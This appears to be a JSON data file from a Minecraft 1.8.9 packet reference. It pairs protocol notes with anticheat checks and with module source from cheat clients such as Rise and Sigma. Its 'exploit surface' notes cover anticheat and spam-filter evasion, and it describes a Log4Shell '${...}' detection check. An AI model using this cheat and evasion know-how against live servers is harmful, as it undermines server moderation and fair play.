}\n\n  private fun shouldProcessDuplicate(\n    player: ShardPlayer,\n    flying: WrapperPlayClientPlayerFlying,\n    location: Location,\n  ): Boolean {\n    val threshold = player.getMovementThreshold()\n    val inVehicle = player.compensatedEntities.self.riding != null\n    val hasMovementAndRotation = flying.hasPositionChanged() && flying.hasRotationChanged()\n    val sameGroundAndCloseClaim =\n      flying.isOnGround == player.packetStateData.packetPlayerOnGround &&\n        player.user.clientVersion.isNewerThanOrEquals(ClientVersion.V_1_17) &&\n        player.packetStateData.duplicatePacketFilterPosition.distanceSquared(location.position) <\n          threshold * threshold\n    return hasMovementAndRotation && (sameGroundAndCloseClaim || inVehicle)\n  }\n\n  private fun handleDuplicatePacketAction(\n    player: ShardPlayer,\n    flying: WrapperPlayClientPlayerFlying,\n    location: Location,\n    event: PacketReceiveEvent,\n  ) {\n    val serverVersion = PacketEvents.getAPI().serverManager.version\n    if (player.isForceCancelDuplicatePacket()) {\n      event.isCancelled = true\n      return\n    }\n\n    if (serverVersion.isOlderThanOrEquals(ServerVersion.V_1_9)) {\n      if (player.isCancelDuplicatePacket()) {\n        event.isCancelled = true\n      }\n      return\n    }\n\n    flying.location =\n      Location(player.packetStateData.duplicatePacketFilterPosition, location.yaw, location.pitch)\n    event.markForReEncode(true)\n  }\n\n  private fun applyDuplicateRotation(player: ShardPlayer, location: Location) {\n    if (player.isIgnoreDuplicatePacketRotation()) return\n\n    val movement = player.movement\n    if (movement.yaw != location.yaw || movement.pitch != location.pitch) {\n      movement.lastYaw = movement.yaw\n      movement.lastPitch = movement.pitch\n    }\n    movement.yaw = location.yaw\n    movement.pitch = location.pitch\n  }\n}\n\n// NOTE (AI): The JOIN_GAME dispatch is line 333-334 and handleJoinGame spans 417-421: it stores entityId and gameMode, then calls compensatedEntities.clear(). The SPAWN_* and DESTROY_ENTITIES branches (321-332, 404-415) are the same listener's entity bookkeeping.\n",
       "code_source": "KaelusAI-Shard, src/main/kotlin/ac/shard/packet/PacketListener.kt",
       "variations": "Grim does the same job inside PacketPlayerRespawn; Hydro resets state from the login-success packet instead (PacketEventsJoinQuitListener). Shard also records login timestamps into its violation database (recordLogin) for session analytics."
      },
      {
       "name": "Logins (NoCheatPlus)",
       "found_in": [
        "Updated-NoCheatPlus-NoCheatPlus"
       ],
       "purpose": "Rate-limit simultaneous logins to blunt login-flood spam bots that join and disconnect repeatedly.",
       "how_it_works": "A CHAT_LOGINS check driven by ChatListener.onPlayerLogin. It buckets login timestamps into a six-slot ActionFrequency ring per world (or globally when per-world counting is off), scores the bucket sum against cc.loginsLimit and cancels the login when the rate exceeds it. The join-game packet itself is never parsed; the check keys off the Bukkit PlayerLoginEvent that fires around the join handshake, which is how 1.8-generation anticheats watch the join domain without touching packet code.",
       "detects": "Login spam and mass-bot joins; the paired Relog check adds per-player relog throttling with a configurable deny list.",
       "detailed_code": "// ===== FILE: Updated-NoCheatPlus-NoCheatPlus, NCPCore/src/main/java/fr/neatmonster/nocheatplus/checks/chat/Logins.java =====\n/*\n * This program is free software: you can redistribute it and/or modify\n *   it under the terms of the GNU General Public License as published by\n *   the Free Software Foundation, either version 3 of the License, or\n *   (at your option) any later version.\n *\n *   This program is distributed in the hope that it will be useful,\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *   GNU General Public License for more details.\n *\n *   You should have received a copy of the GNU General Public License\n *   along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\npackage fr.neatmonster.nocheatplus.checks.chat;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.bukkit.entity.Player;\n\nimport fr.neatmonster.nocheatplus.checks.Check;\nimport fr.neatmonster.nocheatplus.checks.CheckType;\nimport fr.neatmonster.nocheatplus.components.data.IData;\nimport fr.neatmonster.nocheatplus.components.registry.feature.IRemoveData;\nimport fr.neatmonster.nocheatplus.utilities.TickTask;\nimport fr.neatmonster.nocheatplus.utilities.ds.count.ActionFrequency;\n\npublic class Logins extends Check implements IRemoveData{\n    \n    /** Per world count (if set in the config, only \"\" is used). */\n    private final Map<String, ActionFrequency> counts = new HashMap<String, ActionFrequency>();\n\n\tpublic Logins() {\n\t\tsuper(CheckType.CHAT_LOGINS);\n\t}\n\t\n\tprivate ActionFrequency getActionFrequency(String worldName, int buckets, long durBucket, boolean perWorldCount) {\n\t    if (!perWorldCount) worldName = \"\";\n\t    ActionFrequency freq = counts.get(worldName);\n\t    if (freq == null) freq = new ActionFrequency(buckets, durBucket);\n\t    counts.put(worldName, freq);\n\t    return freq;\n\t}\n\n    public boolean check(final Player player, final ChatConfig cc, final ChatData data) {\n        final long now = System.currentTimeMillis();\n        // Skip if is too close to the startup time.\n        if (now - TickTask.getTimeStart() < cc.loginsStartupDelay) return false;\n        // Split into 6 buckets always.\n        final long durBucket = 1000L * cc.loginsSeconds / 6;\n        final ActionFrequency freq = getActionFrequency(player.getWorld().getName(), 6, durBucket, cc.loginsPerWorldCount);\n        freq.update(now);\n        final boolean cancel = freq.score(1f) > cc.loginsLimit; // TODO: >= ...  This will be 1 after the first login (!).\n        if (!cancel) freq.add(1f);\n        return cancel;\n    }\n\n\t/**\n\t * Called by ChatListener\n\t */\n\tpublic void onReload() {\n\t\tcounts.clear();\n\t}\n\n\t@Override\n\tpublic IData removeData(final String playerName) {\n\t\t// Ignore\n\t\treturn null;\n\t}\n\n\t@Override\n\tpublic void removeAllData() {\n\t\tcounts.clear();\n\t}\n\n}\n\n// NOTE (AI): The corpus hit for this file is the 'Login' keyword, not the packet class: NCP never references S01PacketJoinGame. The check fires from Bukkit's PlayerLoginEvent inside ChatListener.onPlayerLogin, so it belongs to the join domain by event, not by packet.\n",
       "code_source": "Updated-NoCheatPlus-NoCheatPlus, NCPCore/src/main/java/fr/neatmonster/nocheatplus/checks/chat/Logins.java",
       "variations": "Negativity and BetterAnticheat (Velocity) do the same on PostLoginEvent; Artemis runs LoginCallback after login success; Daedalus and NCP both keep a per-player login timestamp used by movement exemptions, which is the other common join-domain pattern."
      }
     ]
    }
   },
   "wiki_notes": [
    "First PLAY packet (id 0x01): int entityId, gamemode byte, signed dimension byte -1/0/1, difficulty, maxPlayers, level-type string, reducedDebug bool.",
    "Handler builds WorldClient and PlayerControllerMP, sets entity id and dimension, shows terrain GUI and replies MC|Brand C17.",
    "MCP 1.8.9 S01PacketJoinGame implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleJoinGame; wire serde is readPacketData/writePacketData via readBoolean, readByte, readInt, readStringFromBuffer, readUnsignedByte.",
    "1.8.9 callers: ServerConfigurationManager.initializeConnectionToPlayer sends new S01PacketJoinGame (line 143): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/server/management/ServerConfigurationManager.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S01PacketJoinGame/",
   "mcp_path": "net/minecraft/network/play/server/S01PacketJoinGame.java",
   "group": "play-client",
   "logic_classes": [
    "ServerConfigurationManager"
   ]
  },
  {
   "id": "S01PacketPong",
   "hex": "0x01",
   "dec": 1,
   "dir": "CLIENTBOUND",
   "state": "STATUS",
   "name": "Pong",
   "desc": "Echoes back the exact client timestamp from C01PacketPing. The client calculates round-trip latency from the difference.",
   "tags": [
    "status",
    "server",
    "ping",
    "latency"
   ],
   "fields": [
    {
     "name": "clientTime",
     "type": "long (8 bytes)",
     "desc": "The exact same timestamp the client sent in C01PacketPing"
    }
   ],
   "encoding": [
    [
     "Client Time",
     "long",
     "Echoed back from C01PacketPing, same System.currentTimeMillis() value"
    ]
   ],
   "mcp": [
    "NetHandlerStatusClient.handlePong()"
   ],
   "handler": "INetHandlerStatusClient",
   "notes": "The final packet in the STATUS handshake. After receiving this, OldServerPinger closes the connection and stores the computed latency (pingToServer = currentTime - echoedTime).",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "The final packet of the STATUS handshake. NetHandlerStatusServer.processPing answers C01PacketPing with `new S01PacketPong(packetIn.getClientTime())`, echoing the client's timestamp untouched. OldServerPinger's anonymous handler computes the server-list latency as `pingToServer = Minecraft.getSystemTime() - echoedTime` and closes the channel with a \"Finished\" ChatComponentText. The packet carries no other data, so the entire exploit surface is the timing relation between send and echo."
     },
     {
      "h": "Vanilla handling",
      "p": "The handler is the anonymous INetHandlerStatusClient that OldServerPinger installs per destination. handleServerInfo stores the response and sends C01PacketPing; handlePong then measures the round trip and closes. RealmsServerStatusPinger mirrors the same two-handler shape for the Realms list. Server side, processPing is stateless: any C01PacketPing in STATUS state gets its timestamp echoed verbatim, with no correlation or deduplication."
     },
     {
      "h": "Why clients touch it",
      "p": "The corpus has exactly one non-vanilla reference: Rise 5.99 StaffAlert imports S01PacketPong at line 22, and the import is unused (the module's logic only touches S02PacketChat and the Hypixel API). Every other hit across the 8 clients is vanilla. The practical conclusion is that no module in the corpus touches STATUS ping at all: server-list latency display stays fully vanilla, and the PingSpoof-style modules in these clients all operate on the PLAY-state keepalive (S00PacketKeepAlive/C00PacketKeepAlive) instead."
     },
     {
      "h": "Exploit surface",
      "p": "Delaying or dropping S01PacketPong would only corrupt the local server list entry (frozen or stale ping), with no server-visible effect and no anti-cheat consequence; none of the 8 clients bothers. The server-side surface is the echo itself: processPing is unauthenticated and unthrottled, so a proxy or plugin that wants to fingerprint clients can measure ping intervals, and a flood of C01PacketPing generates an equal flood of S01 replies. For clients, the packet is a dead end."
     }
    ],
    "overview": "The STATUS latency echo. Pure vanilla in 7 of 8 clients; the only module hit is an unused S01PacketPong import in Rise 5.99 StaffAlert. Ping spoofing in these clients targets the PLAY-state keepalive, not the server list.",
    "server_handling": "NetHandlerStatusServer.processPing echoes the clientTime long verbatim via S01PacketPong. No validation, no rate limit, no connection state tracking: the handler is a pure reflector. The client closes the connection immediately after the echo, so the server never sees a follow-up packet in the STATUS state.",
    "protocol_notes": "Wire layout: a single long (8 bytes), the client's System.currentTimeMillis() captured at C01PacketPing send time. The client computes latency locally as now minus echoed value; clock skew is irrelevant because both timestamps are client-side. STATUS state runs before encryption, so the timestamp is readable by any on-path observer, which is how proxies estimate client-server distance.",
    "anticheat_landscape": "None. STATUS ping is outside play state and no anti-cheat samples it. The measurement only feeds the server-list GUI. A client faking its list ping would fool nobody but its own user, which is presumably why the 8 clients never implemented it.",
    "modules": [
     {
      "name": "StaffAlert",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Hypixel staff-ban tracker. Its reference to this packet is an import only; the module does not use S01PacketPong.",
      "how_it_works": "The corpus hit is line 22, `import net.minecraft.network.status.server.S01PacketPong;`. The module's actual logic listens for S02PacketChat (captures the Hypixel API key from chat), sends /api new until the key is set, then polls api.hypixel.net/punishmentstats on a timer thread and notifies on staff-ban deltas. The S01PacketPong, S02PacketLoginSuccess, C00Handshake and S40PacketDisconnect imports are all dead.",
      "detailed_code": null,
      "code_source": "Rise 5.99, dev/rise/module/impl/other/StaffAlert.java",
      "vanilla_hook": "None for this packet; the module hooks PacketReceiveEvent for S02PacketChat and UpdateEvent for the API polling.",
      "anti_cheat_notes": "Irrelevant here: the import is never exercised. The dead import is likely a leftover from an earlier design that detected staff via status pings.",
      "variations": "No other client has any module reference to S01PacketPong; Memeware, Nekoware, Sigma, Spicy, Tenacity and both Rise 6.x builds are vanilla-only for this packet."
     }
    ],
    "client_variations": "All 8 clients ship the stock OldServerPinger/RealmsServerStatusPinger/NetHandlerStatusServer. Rise 5.99 alone adds the dead import in StaffAlert; Rise 6.x and Tenacity rename handler params to final but keep behavior identical.",
    "related": [
     "C01PacketPing",
     "S00PacketServerInfo",
     "S00PacketKeepAlive"
    ],
    "anticheat": {
     "overview": "The STATUS pong has an empty corpus: zero of the 50 anticheats reference S01PacketPong or PacketStatusOutPong. The echo runs before encryption and world state, carries a single client timestamp, and feeds only the server-list latency display, so there is nothing for a server-side anticheat to measure or flag. Ping spoofing that anticheats do care about targets the play-state keepalive, not this packet.",
     "checks": []
    }
   },
   "wiki_notes": [
    "STATUS id 0x01: single long echoing the exact C01 ping timestamp; client computes list ping as now minus echoed value.",
    "Stateless reflector with no validation; feeds only the server-list latency display, never play-state checks.",
    "MCP 1.8.9 S01PacketPong implements Packet<INetHandlerStatusClient> dispatching to INetHandlerStatusClient.handlePong; wire serde is readPacketData/writePacketData via readLong.",
    "1.8.9 callers: NetHandlerStatusServer.processPing sends new S01PacketPong (line 48): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/server/network/NetHandlerStatusServer.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S01PacketPong/",
   "mcp_path": "net/minecraft/network/status/server/S01PacketPong.java",
   "group": "status-client",
   "logic_classes": [
    "NetHandlerStatusServer"
   ]
  },
  {
   "id": "S02PacketChat",
   "hex": "0x02",
   "dec": 2,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Chat Message",
   "desc": "Server sends a chat message or command response to the client.",
   "tags": [
    "chat",
    "message",
    "command"
   ],
   "fields": [
    {
     "name": "chatComponent",
     "type": "IChatComponent",
     "desc": "The chat message or command response"
    },
    {
     "name": "type",
     "type": "byte",
     "desc": "0 = chat box, 1 = system message (singleplayer), 2 = above hotbar"
    }
   ],
   "encoding": [
    [
     "JSON Data",
     "Chat Component",
     "The chat message JSON"
    ],
    [
     "Position",
     "byte",
     "0=chat, 1=system, 2=actionbar"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleChat()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "Position 0 shows in chat box. Position 2 shows above the hotbar (action bar).",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "The single channel for every server-to-client message in the PLAY state: player chat, command output, kill feed, actionbar text, plugin announcements, and anti-cheat notices. The payload is a JSON ChatComponent plus a byte position (0 chat box, 1 system message, 2 actionbar above the hotbar). Vanilla routing is trivial: NetHandlerPlayClient.handleChat sends type 2 to the ingame GUI overlay and everything else to GuiNewChat.printChatMessage. Because every server plugin funnels text through it, it is the most-intercepted clientbound packet in the corpus: 25 non-vanilla file hits across 6 of the 8 clients."
     },
     {
      "h": "Vanilla handling",
      "p": "handleChat runs PacketThreadUtil.checkThreadAndEnqueue, then branches on the position byte: `if (packetIn.func_179841_c() == 2) this.gameController.ingameGUI.func_175188_a(component, false); else this.gameController.ingameGUI.getChatGUI().printChatMessage(component)`. The component is parsed leniently from JSON; malformed components degrade to plain text rather than disconnecting. Server-side, S02PacketChat is the delivery vehicle: ServerConfigurationManager.sendChatMsgImpl broadcasts it, EntityPlayerMP.addChatMessage sends it per player, and kick/actionbar paths construct it directly."
     },
     {
      "h": "Why clients touch it",
      "p": "Six families in the corpus. Game-end and lobby automation: Sigma AutoGG, Rise 5.99 AutoHypixel, Rise 6.x AutoPlay (parse the kill feed and the /play click actions in the component's siblings). Staff and identity: Rise 5.99 StaffAlert (captures the Hypixel API key line), Sigma StreamerMode, Spicy HideName, Rise 5.99 Denicker, Rise 6.x Streamer (rewrite or cancel messages that contain the player's name). Kill-feed banter: Memeware DeathInsult, Spicy KillSults. Request automation: Sigma AutoTPA, Rise 5.99 FightBot and BedwarsTP, Tenacity TPKiller, Rise 6.x WatchdogAutoPhase. Auth: Rise 5.99 AutoAuthme reacts to auth-me prompt text. The rest of the field is heterogeneous: Rise Nuker, PlayerHacks, Phase, Disabler, Translator and Ranking, Rise 6.x APIKeyComponent, IRCInfoComponent, AdaptiveRefreshRateComponent (uses S02 as a frame-rate hint), LoggerRCECheck, and the Spicy meme modules. Nekoware v1 is the only client with zero module hits."
     },
     {
      "h": "Exploit surface",
      "p": "The JSON component is attacker-controlled server text, and the Log4Shell era made that concrete: Rise 6.x ships LoggerRCECheck, a SecurityFeature that pattern-matches `${...}` in the unformatted and formatted text of every S02PacketChat (and in S29 sound names) and blocks the packet before it reaches the logger. Beyond RCE, the component's click events carry runCommand actions, which AutoPlay extracts programmatically instead of waiting for a user click. Cancel-and-rerender name protection (StreamerMode) hides the player's name from the local log while the original packet never renders. DeathInsult appends a random hex suffix so message-spam filters cannot match the repeated insult string. Position matters: modules that must react to actionbar text (AutoPlay skips non-chat via isChat()) filter on the type byte."
     }
    ],
    "overview": "The chat/actionbar delivery packet and the most-intercepted clientbound packet in the corpus. Six module families parse it: game-end automation, staff detection and name protection, kill-feed banter, request automation, auth-me login, and a long tail of utility and security components. Nekoware v1 alone has zero module hits.",
    "server_handling": "Server emission points: ServerConfigurationManager.sendChatMsgImpl builds S02PacketChat and broadcasts to all players; EntityPlayerMP.addChatMessage sends to one player; NetHandlerPlayServer wraps kick reasons and actionbar messages. Nothing validates the component server-side because the server is the author of it. The client parses it leniently; the only client-side failure mode is a giant JSON string approaching the 32767-byte String cap, which degrades to a truncated render.",
    "protocol_notes": "Wire layout: ChatComponent serialized as JSON (String, VarInt length + UTF-8), then a byte position (0 chat, 1 system/singleplayer, 2 actionbar). Components are trees: getFormattedText() includes color codes, getUnformattedText() strips them, getSiblings() exposes the child components where click actions (runCommand/suggestCommand) and hover events live. AutoPlay reads /play commands by splitting a sibling's toString() on quotes. Position 2 messages bypass the chat history and render above the hotbar; isChat() (type == 0) is the standard filter before pattern matching.",
    "anticheat_landscape": "No anti-cheat measures chat content or rate, but anti-cheat messages themselves are data for modules: Tenacity TPKiller and Rise 6.x WatchdogAutoPhase and Nuker read server notices from this packet to trigger or reset their behavior. Server-side, the same channel is the delivery path for ban/kick notices, so watchdog-style anti-cheats both emit through it and are blind to its client-side consumption. The only hard security boundary is injection: LoggerRCECheck exists because a ${...} payload inside a chat component could reach the logging pipeline; the pattern match on both text forms is the mitigation.",
    "modules": [
     {
      "name": "AutoGG / AutoPlay / AutoHypixel",
      "found_in": [
       "Sigma 4.11",
       "Rise 5.99",
       "Rise 6.1.30",
       "Rise 6.2.4",
       "November Recode 2.0"
      ],
      "purpose": "Detect game-end or lobby prompts in chat and react automatically: send gg, queue the next game, or rejoin.",
      "how_it_works": "A PacketReceiveEvent listener instanceof-checks S02PacketChat, filters on position, and pattern-matches the component text. Rise 6.x AutoPlay skips non-chat positions via chat.isChat(), looks for a 'play again?' prompt, iterates getSiblings(), and extracts the /play command embedded in a click action by splitting the sibling's toString() on quotes, then sends it via ChatUtil.send. Sigma 4.11 AutoGG matches kill-feed lines and calls ChatUtil to send gg.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/other/AutoPlay.java =====\npackage com.alan.clients.module.impl.other;\n\nimport com.alan.clients.component.impl.render.NotificationComponent;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.module.Module;\nimport com.alan.clients.module.api.Category;\nimport com.alan.clients.module.api.ModuleInfo;\nimport com.alan.clients.util.chat.ChatUtil;\nimport com.alan.clients.value.impl.ModeValue;\nimport com.alan.clients.value.impl.SubMode;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.server.S02PacketChat;\nimport net.minecraft.util.IChatComponent;\n\n@ModuleInfo(aliases = {\"module.other.hypixelautoplay.name\"}, description = \"module.other.hypixelautoplay.description\", category = Category.PLAYER)\npublic final class AutoPlay extends Module {\n\n    private final ModeValue mode = new ModeValue(\"Mode\", this)\n            .add(new SubMode(\"Hypixel\"))\n            .setDefault(\"Hypixel\");\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> onPacketReceive = event -> {\n        Packet<?> packet = event.getPacket();\n\n        if (packet instanceof S02PacketChat) {\n            S02PacketChat chat = ((S02PacketChat) packet);\n\n            //switch (mode.getValue().getName()) {\n            //case \"Hypixel\":\n            if (mode.getValue().getName().equals(\"Hypixel\")) {\n                if (chat.isChat()) return;\n                if (chat.getChatComponent().getFormattedText().contains(\"play again?\")) {\n                    for (IChatComponent iChatComponent : chat.getChatComponent().getSiblings()) {\n                        for (String value : iChatComponent.toString().split(\"'\")) {\n                            if (value.startsWith(\"/play\") && !value.contains(\".\")) {\n                                ChatUtil.send(value);\n                                NotificationComponent.post(\"Auto Play\", \"Joined a new game\", 7000);\n                                break;\n                            }\n                        }\n                    }\n                }\n                // break;\n            }\n        }\n    };\n}\n// NOTE (AI): The Hypixel SubMode is the only mode; the listener reads getFormattedText() so click-event JSON inside the component is preserved, then splits a sibling's toString() on single quotes to pull the /play runCommand value out.\n// NOTE (AI): ChatUtil.send bypasses the client-side command parser, so the extracted /play reaches the server verbatim. The isChat() guard drops actionbar messages (position 2) before pattern matching.\n// NOTE (AI): Sigma 4.11 AutoGG and Rise 5.99 AutoHypixel are the same family on their own event buses; Rise 6.x also has APIKeyComponent, which parses the 'Your new API key is' chat line for the Hypixel API.\n",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/other/AutoPlay.java",
      "vanilla_hook": "PacketReceiveEvent (Rise) / EventPacket with isIncoming (Sigma).",
      "anti_cheat_notes": "Sending a /play command within milliseconds of the game-end prompt is the only tell, and server-side it is indistinguishable from a fast human click. No anti-cheat flags chat automation.",
      "variations": "Sigma 4.11 AutoGG matches '1st Killer -' / 'Winner:' style lines and sends gg; Rise 5.99 AutoHypixel reacts to lobby prompts; Rise 6.x AutoPlay extracts the exact /play string from the component's click action, which is more robust than pattern tables. November Recode 2.0's AutoPlayModule matches the exact 'You won! Want to play again? Click here!' and 'You died! Want to play again? Click here!' lines, walks getSiblings() for a RUN_COMMAND ClickEvent, stores the command, and sends it via addToSendQueueSilent after a configurable delay; a BLOCKS_MC mode swaps to a paper item instead of a chat command."
     },
     {
      "name": "StaffAlert",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Track Hypixel staff bans by capturing the API key from chat and polling the punishment stats endpoint.",
      "how_it_works": "onPacketReceive scans every S02PacketChat: if the unformatted text starts with 'Your new API key is ', the key is stored and a chat message confirms it. Until the key is set, onUpdate sends /api new every 10 ticks on Hypixel. Once set, a timer thread polls https://api.hypixel.net/punishmentstats?key=... and fires notifications when staff_total increases.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/other/StaffAlert.java =====\npackage dev.rise.module.impl.other;\n\nimport com.google.gson.JsonParser;\nimport dev.rise.Rise;\nimport dev.rise.event.impl.other.UpdateEvent;\nimport dev.rise.event.impl.packet.PacketReceiveEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.notifications.NotificationType;\nimport dev.rise.setting.impl.NumberSetting;\nimport dev.rise.util.math.MathUtil;\nimport dev.rise.util.math.TimeUtil;\nimport dev.rise.util.player.PacketUtil;\nimport dev.rise.util.player.PlayerUtil;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.handshake.client.C00Handshake;\nimport net.minecraft.network.login.server.S02PacketLoginSuccess;\nimport net.minecraft.network.play.client.C01PacketChatMessage;\nimport net.minecraft.network.play.server.S02PacketChat;\nimport net.minecraft.network.play.server.S40PacketDisconnect;\nimport net.minecraft.network.status.server.S01PacketPong;\n\nimport java.io.BufferedReader;\nimport java.io.InputStreamReader;\nimport java.net.HttpURLConnection;\nimport java.net.URL;\n\n@ModuleInfo(name = \"StaffAlert\", description = \"Alerts you when staff ban someone else on Hypixel\", category = Category.OTHER)\npublic class StaffAlert extends Module {\n\n    private final NumberSetting delay = new NumberSetting(\"Delay (Seconds)\", this, 60, 1, 120, 1);\n\n    private final TimeUtil timer = new TimeUtil();\n    private int lastTimeAmountOfBans = -1;\n    public static String apikey;\n    private boolean hasKey;\n\n\n    @Override\n    public void onUpdateAlwaysInGui() {\n        this.hidden = !(PlayerUtil.isOnServer(\"Hypixel\") || mc.isSingleplayer());\n    }\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        if (event.getPacket() instanceof S02PacketChat) {\n            final S02PacketChat p = (S02PacketChat) event.getPacket();\n            final String message = p.getChatComponent().getUnformattedText();\n            if (message.startsWith(\"Your new API key is \")) {\n                apikey = message.replace(\"Your new API key is \", \"\");\n                Rise.addChatMessage(\"API Key Set!\");\n            }\n        }\n    }\n    @Override\n    public void onUpdate(final UpdateEvent event) {\n        if(apikey == null && PlayerUtil.isOnServer(\"Hypixel\") && mc.thePlayer.ticksExisted >= 40 && !mc.isSingleplayer() && mc.thePlayer.ticksExisted % 10 == 0){\n            timer.reset();\n            PacketUtil.sendPacket(new C01PacketChatMessage(\"/api new\"));\n        }\n        if (!PlayerUtil.isOnServer(\"Hypixel\") || mc.isSingleplayer()) {\n            this.registerNotification(this.getModuleInfo().name() + \" only works on Hypixel.\");\n            this.toggleModule();\n            return;\n        }\n\n        if (mc.isSingleplayer()) {\n            lastTimeAmountOfBans = -1;\n            timer.reset();\n            return;\n        }\n\n        if (timer.hasReached((long) delay.getValue() * 1000) || lastTimeAmountOfBans == -1) {\n            new Thread(() -> {\n                try {\n                    final HttpURLConnection connection = (HttpURLConnection) new URL(\"https://api.hypixel.net/punishmentstats?key=\" + apikey).openConnection();\n                    connection.addRequestProperty(\"User-Agent\", \"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0\");\n                    connection.setRequestMethod(\"GET\");\n                    connection.setDoInput(true);\n                    connection.setDoOutput(true);\n                    connection.connect();\n                    final BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                    for (String read; (read = reader.readLine()) != null; ) {\n                        if (read.contains(\"true\")) { //alan loves this code\n                            final int staffBans = JsonParser.parseString(read).getAsJsonObject().get(\"staff_total\").getAsInt();\n                            final int diff = staffBans - lastTimeAmountOfBans;\n                            final int delay = (int) Math.round(this.delay.getValue());\n                            if (lastTimeAmountOfBans != -1 && diff > 0)\n                                Rise.INSTANCE.getNotificationManager().registerNotification(diff + (diff == 1 ? \" player has\" : \" players have\") + \" been staff banned in the past \" + (delay == 1 ? \"second\" : delay + \"s\") + \".\", NotificationType.WARNING);\n                            lastTimeAmountOfBans = staffBans;\n                        }\n                    }\n                } catch (final Exception e) {\n                    if(apikey != null) {\n                        Rise.INSTANCE.getNotificationManager().registerNotification(this.getModuleInfo().name() + \" failed to get staff ban information.\", NotificationType.WARNING);\n                    }\n                    e.printStackTrace();\n                }\n            }).start();\n            timer.reset();\n        }\n    }\n\n    @Override\n    protected void onEnable() {\n        lastTimeAmountOfBans = -1;\n        timer.reset();\n    }\n}\n// NOTE (AI): The S02PacketChat hook is one line of the file: capture the API key line. The rest is the Hypixel API poller, which runs on a raw Thread with an HttpURLConnection and a browser User-Agent.\n// NOTE (AI): The imports of S02PacketLoginSuccess, S01PacketPong, C00Handshake and S40PacketDisconnect are dead; only S02PacketChat and C01PacketChatMessage are exercised.\n// NOTE (AI): The module self-disables off Hypixel and auto-sends /api new on a 10-tick cadence, which is the only serverbound traffic it generates from chat content.\n",
      "code_source": "Rise 5.99, dev/rise/module/impl/other/StaffAlert.java",
      "vanilla_hook": "PacketReceiveEvent (S02PacketChat), UpdateEvent (polling and /api new), PacketUtil.sendPacket for the chat command.",
      "anti_cheat_notes": "Sending /api new every 10 ticks until the key arrives is chat-rate behavior only; Hypixel does not flag it. The HTTP polling happens off the game thread, so no tick overhead.",
      "variations": "Rise 6.x moves API key capture into APIKeyComponent, a separate component that parses the same chat line, leaving StaffAlert-style polling out of the module tree."
     },
     {
      "name": "StreamerMode / HideName / Denicker / Streamer",
      "found_in": [
       "Sigma 4.11",
       "Spicy",
       "Rise 5.99",
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Keep the player's name out of chat rendering: rewrite the component locally or cancel the packet entirely.",
      "how_it_works": "Sigma 4.11 StreamerMode: on incoming S02PacketChat with NAMEPROTECT enabled, if the unformatted text contains the player's name, it re-renders the message with the name replaced by a colored 'You' via ChatUtil.printChat and cancels the original; otherwise it cancels any message containing a word from a join/leave/death blacklist. Spicy HideName cancels chat packets that contain the player's name; Rise 5.99 Denicker and Rise 6.x Streamer do the same with their own component access.",
      "detailed_code": "// ===== FILE: Sigma 4.11, info/sigmaclient/module/impl/other/StreamerMode.java =====\npackage info.sigmaclient.module.impl.other;\n\nimport info.sigmaclient.event.Event;\nimport info.sigmaclient.event.impl.EventUpdate;\nimport info.sigmaclient.event.impl.EventPacket;\nimport info.sigmaclient.module.data.ModuleData;\nimport info.sigmaclient.module.data.Setting;\nimport info.sigmaclient.event.RegisterEvent;\nimport info.sigmaclient.module.Module;\nimport info.sigmaclient.util.misc.ChatUtil;\nimport net.minecraft.client.gui.GuiPlayerTabOverlay;\nimport net.minecraft.client.network.NetHandlerPlayClient;\nimport net.minecraft.client.network.NetworkPlayerInfo;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.network.play.server.S02PacketChat;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * Created by Arithmo on 5/15/2017 at 12:07 AM.\n */\npublic class StreamerMode extends Module {\n\n    private String NAMEPROTECT = \"PROTECT\";\n    private String SCRAMBLE = \"SCRAMBLE\";\n    private String HIDESCORE = \"HIDESCORE\";\n    private String HIDETAB = \"HIDETAB\";\n    private String SPOOFSKINS = \"SPOOFSKINS\";\n\n    public static boolean scrambleNames;\n    public static boolean hideTab;\n    public static boolean hideScore;\n    public static boolean spoofSkins;\n\n    public StreamerMode(ModuleData data) {\n        super(data);\n        settings.put(NAMEPROTECT, new Setting<>(NAMEPROTECT, true, \"Protects your name.\"));\n        settings.put(SCRAMBLE, new Setting<>(SCRAMBLE, true, \"Scrambles other player names.\"));\n        settings.put(HIDESCORE, new Setting<>(HIDESCORE, false, \"Hides scoreboard.\"));\n        settings.put(SPOOFSKINS, new 